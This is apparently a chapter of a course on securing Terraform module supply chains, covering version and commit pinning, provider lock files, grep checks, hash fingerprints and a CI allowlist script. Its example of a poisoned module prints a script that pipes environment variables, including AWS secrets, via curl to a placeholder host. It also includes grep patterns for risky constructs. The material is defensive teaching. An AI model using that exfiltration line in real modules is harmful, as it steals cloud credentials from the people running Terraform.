Module supply chain
Pinning, reviewing upstream modules, and what you inherit.
A `module` block is a shipping label. You write an address on it, `terraform init` collects whatever is sitting at that address today, and `terraform plan` runs it on the machine that holds the keys to production. Nobody checks a seal on the box. There is no seal.
A module is a folder of Terraform configuration somebody else wrote and packaged for reuse, the way a flat-pack wardrobe arrives as one box instead of four hundred loose screws. The forty resources that add up to a working VPC (virtual private cloud, the fenced-off network your servers sit inside) reach you as one block and three variables. The module supply chain is everything between that author's keyboard and your `terraform apply`: their laptop, their git host, the tag they pushed, the registry that indexes it, and the network path that delivers it. Securing the chain means making sure no link in it can be swapped without you noticing.
Here is why this bites harder than an ordinary software dependency. Terraform has two commands that matter here. `plan` works out what it would change, and `apply` actually changes it. Module code runs during `plan`. Data sources are read at plan time, and one of them, `external`, exists specifically to run a program on your machine and read back whatever it printed. So a poisoned module can lift `AWS_SECRET_ACCESS_KEY` (the secret half of an Amazon Web Services credential, the password to your cloud account) out of the environment and post it to a stranger's server before the first line of plan output reaches your screen. Your approval gate guards `apply`. The theft already happened at `plan`.
The ways in are the ones that have worked on npm (the JavaScript package registry) and PyPI (the Python one) for a decade. Typosquatting: `terraform-aws-module` instead of `terraform-aws-modules`, one missing letter, and because the public registry maps namespaces straight onto GitHub organisation names, registering a lookalike organisation costs nothing. A maintainer account takeover that publishes a poisoned patch release. A git tag quietly moved onto different code. And if your `version` line says `~> 5.0`, you adopt whatever they publish next on your following `terraform init -upgrade`, automatically, with no diff for anyone to read.
What Terraform Init Actually Fetches
$ terraform init
Initializing modules...Downloading registry.terraform.io/terraform-aws-modules/eks/aws 20.31.6 for eks...- eks in .terraform/modules/eks- eks.eks_managed_node_group in .terraform/modules/eks/modules/eks-managed-node-group- eks.eks_managed_node_group.user_data in .terraform/modules/eks/modules/_user_data- eks.fargate_profile in .terraform/modules/eks/modules/fargate-profileDownloading registry.terraform.io/terraform-aws-modules/kms/aws 2.1.0 for eks.kms...- eks.kms in .terraform/modules/eks.kms- eks.self_managed_node_group in .terraform/modules/eks/modules/self-managed-node-group- eks.self_managed_node_group.user_data in .terraform/modules/eks/modules/_user_dataDownloading git::https://github.com/some-contractor/tf-logging.git?ref=main for logging...- logging in .terraform/modules/loggingDownloading git::https://github.com/terraform-aws-modules/terraform-aws-vpc.git?ref=7c1f791efd61f326ed6102d564d1a65d1eceedf0 for vpc...- vpc in .terraform/modules/vpcInitializing the backend...Initializing provider plugins...- Finding hashicorp/cloudinit versions matching ">= 2.0.0"...- Finding hashicorp/null versions matching ">= 3.0.0"...- Finding hashicorp/aws versions matching ">= 4.33.0, >= 5.79.0, >= 5.81.0, ~> 5.98.0"...- Finding latest version of hashicorp/external...- Finding hashicorp/time versions matching ">= 0.9.0"...- Finding hashicorp/tls versions matching ">= 3.0.0"...- Installing hashicorp/tls v4.3.0...- Installed hashicorp/tls v4.3.0 (signed by HashiCorp)- Installing hashicorp/cloudinit v2.4.0...- Installed hashicorp/cloudinit v2.4.0 (signed by HashiCorp)- Installing hashicorp/null v3.3.0...- Installed hashicorp/null v3.3.0 (signed by HashiCorp)- Installing hashicorp/aws v5.98.0...- Installed hashicorp/aws v5.98.0 (signed by HashiCorp)- Installing hashicorp/external v2.4.0...- Installed hashicorp/external v2.4.0 (signed by HashiCorp)- Installing hashicorp/time v0.14.0...- Installed hashicorp/time v0.14.0 (signed by HashiCorp)Terraform has created a lock file .terraform.lock.hcl to record the providerselections it made above. Include this file in your version control repositoryso that Terraform can guarantee to make the same selections by default whenyou run "terraform init" in the future.Terraform has been successfully initialized!
Terraform reads every `module` block, decides what kind of address it is looking at, and fetches accordingly. Registry shorthand like `terraform-aws-modules/vpc/aws` goes through the registry protocol. A `git::https://` or `git::ssh://` address gets cloned. An `https://` URL is downloaded, and unpacked if it points at a `.zip` or `.tar.gz`. `s3::` and `gcs::` pull from cloud object storage. Anything starting `./` or `../` is read straight out of your own repo. It all lands under `.terraform/modules/`, and one manifest file records what came from where.
$ jq -r '.Modules[] | select(.Key != "") | [.Key, (.Version // "-"), .Source] | @tsv' \.terraform/modules/modules.json | LC_ALL=C sort | column -t -s $'\t'
eks 20.31.6 registry.terraform.io/terraform-aws-modules/eks/awseks.eks_managed_node_group - ./modules/eks-managed-node-groupeks.eks_managed_node_group.user_data - ../_user_dataeks.fargate_profile - ./modules/fargate-profileeks.kms 2.1.0 registry.terraform.io/terraform-aws-modules/kms/awseks.self_managed_node_group - ./modules/self-managed-node-groupeks.self_managed_node_group.user_data - ../_user_datalogging - git::https://github.com/some-contractor/tf-logging.git?ref=mainvpc - git::https://github.com/terraform-aws-modules/terraform-aws-vpc.git?ref=7c1f791efd61f326ed6102d564d1a65d1eceedf0
Read that as a bill of materials, because that is what it is: the list of every part inside the finished thing, like the ingredients printed on a tin. You wrote three `module` blocks. Nine modules landed on disk. Six of them arrived because the EKS module (Elastic Kubernetes Service, Amazon's managed Kubernetes) asked for them, including an entirely separate registry module for KMS (Key Management Service, where AWS keeps encryption keys). The dots in the `Key` column show the nesting, so `eks.kms` was pulled in by `eks`. That tree is 158 `.tf` files. Every one of them is code that gets evaluated with your credentials, whether or not a human has ever opened it. One row here should already be making you uncomfortable.
Now look back at the provider list in the init output. You never asked for `hashicorp/external`. Something in your module tree did. That is one of the cheapest detections you will ever wire up: a provider you did not ask for showing up in `terraform init` output, or as a new block in `.terraform.lock.hcl`, means a module now wants a capability it did not want last week. Ask why before you approve the plan.
Providers Get a Bodyguard, Modules Do Not
Providers are the plugins that speak the cloud's API (application programming interface, the machine-to-machine door AWS leaves open for software). Each release is signed with the publisher's GPG key (GNU Privacy Guard, the standard tool for signing a file so anyone can prove who produced it), `terraform init` checks that signature, and it writes the package checksums into `.terraform.lock.hcl`. That is a tamper-evident seal on the box. Modules get nothing. No signature exists to check, no checksum is recorded anywhere, and a git ref resolves to whatever the remote server says it points at on this fetch. Open `.terraform.lock.hcl` and every block in it is a `provider` block, on every Terraform version shipped so far. Any control you want over module content, you build yourself out of pins, manifests and CI checks (continuous integration, the pipeline that runs your code on a server after every push).
Pin to Something That Cannot Move
# BAD: a floating range. Any new 5.x release is adopted on the next# `terraform init -upgrade`, chosen by whoever can publish to that namespace.module "vpc" {source = "terraform-aws-modules/vpc/aws"version = "~> 5.0"}# GOOD: an exact registry version. Every upgrade becomes a reviewed diff.module "vpc" {source = "terraform-aws-modules/vpc/aws"version = "5.21.0"}# BEST for git sources: the full 40-character commit SHA. Still immutable# if the repo, its branches and its tags are all taken over next year.module "vpc" {source = "git::https://github.com/terraform-aws-modules/terraform-aws-vpc.git?ref=7c1f791efd61f326ed6102d564d1a65d1eceedf0" # v5.21.0}
A version constraint is a sentence about who is allowed to change your infrastructure without asking you first. `~> 5.0` means: me, plus whoever holds that namespace next year, including whoever phishes the maintainer. `5.21.0` means: me, through an edit that shows up in a pull request. Git addresses need a higher bar, because tags and branches are pointers and pointers move. A commit SHA (secure hash algorithm, git's fingerprint over a commit and every byte of the tree it names) is the one thing in git that cannot be repointed, and it has to be all 40 characters. A short SHA is only a prefix, and prefixes collide.
# main.tf line 1: the git-sourced module, with version = "5.21.0" bolted on$ terraform init
Initializing modules...╷│ Error: Invalid registry module source address││ Module "vpc" (declared at main.tf line 1) has invalid source address│ "git::https://github.com/terraform-aws-modules/terraform-aws-vpc.git?ref=7c1f791efd61f326ed6102d564d1a65d1eceedf0":│ a module registry source address must have either three or four│ slash-separated components.││ Terraform assumed that you intended a module registry source address│ because you also set the argument "version", which applies only to registry│ modules.╵
That error trips a lot of people up, and it explains itself if you read the last sentence. The `version` argument belongs to registry modules alone. The moment Terraform sees it, it stops reading your `source` as a git URL and tries to read it as a registry address, which it plainly is not. On a `git::` source the pin lives inside the `?ref=` part of the URL instead. Terraform refuses the config rather than let you believe you pinned something you did not.
Read What Landed on Disk
$ grep -rEn --include='*.tf' \'data +"external"|data +"http"|provisioner +"(local|remote)-exec"' \.terraform/modules/
.terraform/modules/eks/examples/eks-hybrid-nodes/remote.tf:126:data "http" "icanhazip" {.terraform/modules/logging/collector.tf:12:data "external" "bootstrap" {.terraform/modules/logging/collector.tf:31: provisioner "local-exec" {
Three hits, and they are not equal. The first sits in `examples/`, because a module download is the whole repository, demo code included, and Terraform never evaluates a directory it was not pointed at. Noise. The other two are in a module you actually call. Those three constructs are the ones that turn declarative configuration into code execution, which is why they earn a five-second grep on everything you pull. `data "external"` runs a program on the machine running Terraform, at plan time, and expects a JSON object (JavaScript Object Notation, a plain-text way of writing key and value pairs) back on standard output. `data "http"` fetches a URL, and a URL carries data out as easily as it brings data in. `provisioner "local-exec"` and `remote-exec` run shell commands during apply. A module whose job is building a VPC needs none of them.
# excerpt from a poisoned release of the logging moduledata "external" "bootstrap" {program = ["bash", "${path.module}/files/agent-setup.sh"]}
#!/usr/bin/env bashenv | curl -s -X POST --data-binary @- \https://telemetry-cdn.example.net/v1/ingest > /dev/nullecho '{"agent_id":"ok"}' # external data sources want JSON on stdout
Terraform installs the `external` provider for that module without hesitating, correctly signed by HashiCorp, because the provider itself is perfectly legitimate and plenty of honest modules use it. A signature proves who built the plugin. It says nothing about who called it, or why.
$ git -C .terraform/modules/vpc rev-parse HEAD$ find .terraform/modules/eks.kms -name .git -prune -o -type f -print0 \| LC_ALL=C sort -z | xargs -0 sha256sum | sha256sum
7c1f791efd61f326ed6102d564d1a65d1eceedf0809be481d3dc02446d31e114cb1fd1dfb0b72538209dcede1e4da77c666209e4 -
Two checks worth keeping. Terraform leaves the `.git` directory in place for git sources, so `rev-parse HEAD` tells you which commit is genuinely checked out. That proves the pin held instead of trusting that it did. Registry modules arrive as an unpacked tarball with no `.git` at all, so there is no commit to ask about, and the second command is what you have instead: hash every file in the tree, then hash the list of hashes, and one fingerprint covers the whole module. `LC_ALL=C` keeps the sort order identical on every machine, which matters when two runners are supposed to agree. Record the fingerprint next to the pin. If it moves while your `source` line did not, something upstream changed under you, and you want to hear about that before `plan` runs rather than during an incident review.
Lock the Provider Half
$ terraform providers lock \-platform=linux_amd64 \-platform=darwin_arm64 \-platform=windows_amd64 \hashicorp/external hashicorp/null
- Fetching hashicorp/null 3.3.0 for linux_amd64...- Retrieved hashicorp/null 3.3.0 for linux_amd64 (signed by HashiCorp)- Fetching hashicorp/external 2.4.0 for linux_amd64...- Retrieved hashicorp/external 2.4.0 for linux_amd64 (signed by HashiCorp)- Fetching hashicorp/null 3.3.0 for darwin_arm64...- Retrieved hashicorp/null 3.3.0 for darwin_arm64 (signed by HashiCorp)- Fetching hashicorp/external 2.4.0 for darwin_arm64...- Retrieved hashicorp/external 2.4.0 for darwin_arm64 (signed by HashiCorp)- Fetching hashicorp/null 3.3.0 for windows_amd64...- Retrieved hashicorp/null 3.3.0 for windows_amd64 (signed by HashiCorp)- Fetching hashicorp/external 2.4.0 for windows_amd64...- Retrieved hashicorp/external 2.4.0 for windows_amd64 (signed by HashiCorp)- Obtained hashicorp/external checksums for darwin_arm64; This was a new provider and the checksums for this platform are now tracked in the lock file- Obtained hashicorp/external checksums for windows_amd64; This was a new provider and the checksums for this platform are now tracked in the lock file- Obtained hashicorp/external checksums for linux_amd64; This was a new provider and the checksums for this platform are now tracked in the lock file- Obtained hashicorp/null checksums for linux_amd64; This was a new provider and the checksums for this platform are now tracked in the lock file- Obtained hashicorp/null checksums for darwin_arm64; This was a new provider and the checksums for this platform are now tracked in the lock file- Obtained hashicorp/null checksums for windows_amd64; This was a new provider and the checksums for this platform are now tracked in the lock fileSuccess! Terraform has updated the lock file.Review the changes in .terraform.lock.hcl and then commit to yourversion control system to retain the new checksums.
Naming providers at the end is optional, and I have done it here only to keep the output short. Leave them off and Terraform does every provider the configuration needs. The platform list is the part that matters. A lock file carries hashes only for platforms Terraform has actually fetched, so one created on an Apple laptop holds `darwin_arm64` hashes, the Linux runner then fails, and the fix people reach for at six on a Friday is deleting the lock file, which throws away the whole control. Generate every platform your team and your runners use, up front. Commit `.terraform.lock.hcl`. Then stop the pipeline from editing it.
# In CI, against the .terraform.lock.hcl committed in the repo$ terraform init -input=false -lockfile=readonly
Initializing modules...Initializing the backend...Initializing provider plugins...- Reusing previous version of hashicorp/tls from the dependency lock file- Reusing previous version of hashicorp/time from the dependency lock file- Reusing previous version of hashicorp/cloudinit from the dependency lock file- Reusing previous version of hashicorp/null from the dependency lock file- Reusing previous version of hashicorp/aws from the dependency lock file- Finding latest version of hashicorp/external...- Using previously-installed hashicorp/null v3.3.0- Using previously-installed hashicorp/aws v5.98.0- Installing hashicorp/external v2.4.0...- Installed hashicorp/external v2.4.0 (signed by HashiCorp)- Using previously-installed hashicorp/tls v4.3.0- Using previously-installed hashicorp/time v0.14.0- Using previously-installed hashicorp/cloudinit v2.4.0╷│ Error: Provider dependency changes detected││ Changes to the required provider dependencies were detected, but the lock│ file is read-only. To use and record these requirements, run "terraform│ init" without the "-lockfile=readonly" flag.╵
That failure is the control doing its job. Without the flag, `terraform init` writes the new provider into the lock file itself and carries on, and a plugin nobody reviewed rides into production on a green pipeline. With it, the build stops until a person runs `terraform providers lock`, looks at what appeared and why, and commits the result. Know the limit, though. It fires because a provider is new to this repo. A module that already used `external` for something honest, and quietly changed the program it runs, produces no provider change at all, and this gate stays green.
Rules That Survive Past One Repo
#!/usr/bin/env bash# Run after `terraform init`, before `terraform plan`, in the same CI job.set -euo pipefailmanifest=.terraform/modules/modules.json[[ -f $manifest ]] || { echo "no manifest: run terraform init first" >&2; exit 1; }allowed='^(registry\.terraform\.io/terraform-aws-modules/|git::https://github\.com/terraform-aws-modules/|\.{1,2}/)'fail=0# 1. Every source, children included, must be on the allowlist.while read -r src; dogrep -Eq "$allowed" <<<"$src" \|| { echo "DENY unapproved source: $src" >&2; fail=1; }done < <(jq -r '.Modules[] | select(.Key != "") | .Source' "$manifest")# 2. Any git source must end in a full 40-character commit SHA.while read -r src; dogrep -Eq 'ref=[0-9a-f]{40}$' <<<"$src" \|| { echo "DENY moving git ref: $src" >&2; fail=1; }done < <(jq -r '.Modules[] | select(.Source | startswith("git::")) | .Source' "$manifest")exit "$fail"
$ ./ci/check-module-sources.sh; echo "exit=$?"
DENY unapproved source: git::https://github.com/some-contractor/tf-logging.git?ref=mainDENY moving git ref: git::https://github.com/some-contractor/tf-logging.git?ref=mainexit=1
Two dozen lines, and they catch the contractor module before `plan` gets a chance to run its script. The script reads the manifest rather than your own `.tf` files on purpose, because the manifest includes every child you never wrote a block for. That `[[ -f $manifest ]]` guard matters more than it looks: without it, a job that skipped `terraform init` finds nothing to check, passes cheerfully, and tells you nothing at all. Keep the allowlist short and specific to namespaces you or your vendors control. If you already run OPA (Open Policy Agent, the policy engine from earlier in this course), the same allowlist works as a policy over `terraform show -json tfplan`, where module sources sit under `configuration.root_module.module_calls`. Note the saved plan file: run `terraform show -json` with no argument and you get state, which has no configuration section to inspect.
Past a certain size, two heavier options earn their cost. Run a private registry (HCP Terraform, HashiCorp's hosted service, or Terraform Enterprise, or the registry built into GitLab) that republishes only versions you have reviewed. Or vendor the code: copy the reviewed source into your own repository and point `source` at a local path, so every upstream change arrives as a pull request somebody reads. Terraform gives you nothing in between. `filesystem_mirror` and `network_mirror` in the CLI configuration (command-line interface, the settings file for the `terraform` binary itself) cover providers only. No module mirror exists, and that gap is exactly why private registries and vendoring are the standard answers.
Pay in proportion to what you are protecting. A 40-character SHA is unreadable by design, so keep the tag in a trailing comment and let a bot propose the bumps: Renovate reads Terraform module sources including git refs, Dependabot covers registry modules and git-tagged ones, and both open a pull request somebody can review. Vendoring means you own the backports forever. A private registry is one more service to run and gatekeep. A side project lives happily on exact registry versions and a scanner. A bank vendors.
One habit matters more than any of the tooling. When you upgrade a pinned module, diff the code, not the changelog. The changelog is written by whoever cut the release.
$ git -C .terraform/modules/logging fetch --quiet origin$ git -C .terraform/modules/logging diff --stat 4b8e21c..9f3a70d
collector.tf | 14 ++++++++++++++files/agent-setup.sh | 6 ++++++2 files changed, 20 insertions(+)
Twenty added lines in a patch release whose notes said it fixed a variable description. That two-line summary is the entire review, and it takes about four seconds. Run it on every module bump, and put the fingerprint check beside it in CI so the one you forget still gets caught.